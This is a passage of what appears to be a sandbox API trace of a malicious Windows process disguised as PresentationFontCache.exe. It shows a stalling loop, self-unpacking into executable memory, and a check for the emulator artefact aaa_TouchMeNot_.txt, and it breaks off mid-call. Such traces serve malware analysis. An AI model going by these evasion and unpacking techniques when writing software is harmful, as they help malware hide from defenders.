dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.506] GetKBCodePage () returned 0x1b5 [0255.506] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.506] GetFocus () returned 0x0 [0255.506] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.507] GetAsyncKeyState (vKey=58) returned 0 [0255.507] GetKBCodePage () returned 0x1b5 [0255.507] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.507] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.508] GetKBCodePage () returned 0x1b5 [0255.508] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.508] GetFocus () returned 0x0 [0255.508] GetAsyncKeyState (vKey=58) returned 0 [0255.509] GetKBCodePage () returned 0x1b5 [0255.509] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.509] GetFocus () returned 0x0 [0255.509] GetAsyncKeyState (vKey=58) returned 0 [0255.509] GetKBCodePage () returned 0x1b5 [0255.509] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.509] GetFocus () returned 0x0 [0255.509] GetAsyncKeyState (vKey=58) returned 0 [0255.509] GetKBCodePage () returned 0x1b5 [0255.509] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.509] GetFocus () returned 0x0 [0255.509] GetAsyncKeyState (vKey=58) returned 0 [0255.509] GetKBCodePage () returned 0x1b5 [0255.509] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.509] GetFocus () returned 0x0 [0255.509] GetAsyncKeyState (vKey=58) returned 0 [0255.509] GetKBCodePage () returned 0x1b5 [0255.509] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.509] GetFocus () returned 0x0 [0255.509] GetAsyncKeyState (vKey=58) returned 0 [0255.556] GetKBCodePage () returned 0x1b5 [0255.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.556] GetFocus () returned 0x0 [0255.556] GetAsyncKeyState (vKey=58) returned 0 [0255.556] GetKBCodePage () returned 0x1b5 [0255.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.556] GetFocus () returned 0x0 [0255.556] GetAsyncKeyState (vKey=58) returned 0 [0255.556] GetKBCodePage () returned 0x1b5 [0255.556] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.557] GetAsyncKeyState (vKey=58) returned 0 [0255.557] GetKBCodePage () returned 0x1b5 [0255.557] GetFileTime (in: hFile=0x60cf7a, lpCreationTime=0x18fea0, lpLastAccessTime=0x18ff50, lpLastWriteTime=0x18ff50 | out: lpCreationTime=0x18fea0*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastAccessTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0), lpLastWriteTime=0x18ff50*(dwLowDateTime=0x0, dwHighDateTime=0x0)) returned 0 [0255.557] GetFocus () returned 0x0 [0255.558] VarCyFromUI4 (in: ulIn=0xccaf3cc, pcyOut=0x18fef0 | out: pcyOut=0x18fef0) returned 0x0 [0255.558] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18fa3c, nSize=0x104 | out: lpFilename="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe")) returned 0x47 [0255.558] Sleep (dwMilliseconds=0x94) [0255.714] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18f9b0 | out: ProcedureAddress=0x18f9b0*=0x769d1856) returned 0x0 [0255.715] VirtualAlloc (lpAddress=0x0, dwSize=0x16100, flAllocationType=0x1000, flProtect=0x4) returned 0x380000 [0255.719] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa50 | out: ProcedureAddress=0x18fa50*=0x769d1856) returned 0x0 [0255.719] VirtualAlloc (lpAddress=0x0, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x40) returned 0x3a0000 [0255.720] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d49d7) returned 0x0 [0255.720] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1222) returned 0x0 [0255.721] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d1856) returned 0x0 [0255.721] LdrGetProcedureAddress (in: BaseAddress=0x769c0000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x18fa4c | out: ProcedureAddress=0x18fa4c*=0x769d435f) returned 0x0 [0255.721] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0255.721] GetProcAddress (hModule=0x769c0000, lpProcName="FlsFree") returned 0x769d359f [0255.721] GetProcAddress (hModule=0x769c0000, lpProcName="SetUnhandledExceptionFilter") returned 0x769d87c9 [0255.721] VirtualProtect (in: lpAddress=0x400000, dwSize=0x29000, flNewProtect=0x40, lpflOldProtect=0x18fae0 | out: lpflOldProtect=0x18fae0*=0x2) returned 1 [0255.727] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x3b0000 [0255.729] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x769c0000 [0255.729] GetProcAddress (hModule=0x769c0000, lpProcName="CreateFileW") returned 0x769d3f5c [0255.730] GetProcAddress (hModule=0x769c0000, lpProcName="ExitProcess") returned 0x769d7a10 [0255.730] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0256.233] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.242] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1030000 [0256.249] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x104) returned 0x10307d0 [0256.249] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x10308e0 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030968 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x10309f0 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030a78 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030b00 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030b88 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030c10 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030c98 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030d20 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030da8 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030e30 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030eb8 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030f40 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1030fc8 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x1031050 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x80) returned 0x10310d8 [0256.250] RtlAllocateHeap (HeapHandle=0x1030000, Flags=0x8, Size=0x400) returned 0x1031160 [0256.250] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1230000 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x12307d0 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x1230858 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x80) returned 0x12308e0 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x184) returned 0x1230968 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230af8 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230b40 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230b88 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230bd0 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230c18 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230c60 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230ca8 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230cf0 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230d38 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230d80 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230dc8 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230e10 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230e58 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230ea0 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230ee8 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x1230f30 [0256.251] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x18f60c, nSize=0x1000 | out: lpFilename="C:\\Windows\\Microsoft.Net\\Framework64\\v3.0\\WPF\\PresentationFontCache.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v3.0\\wpf\\presentationfontcache.exe")) returned 0x47 [0256.251] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x100) returned 0x1230f78 [0256.251] RtlFreeHeap (HeapHandle=0x1230000, Flags=0x0, BaseAddress=0x12308e0) returned 1 [0256.252] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x40) returned 0x12308e0 [0256.252] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x2c) returned 0x1230928 [0256.257] GetVersionExW (in: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x18fc2c*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0256.257] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x18fc14 | out: Wow64Process=0x18fc14) returned 1 [0256.257] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x18fbf0 | out: TokenHandle=0x18fbf0*=0xc4) returned 1 [0256.257] GetTokenInformation (in: TokenHandle=0xc4, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x18fbec | out: TokenInformation=0x0, ReturnLength=0x18fbec) returned 0 [0256.257] GetLastError () returned 0x7a [0256.257] RtlAllocateHeap (HeapHandle=0x1230000, Flags=0x8, Size=0x140) returned 0x123b8e8 [0256.257] GetTokenInformation (in: 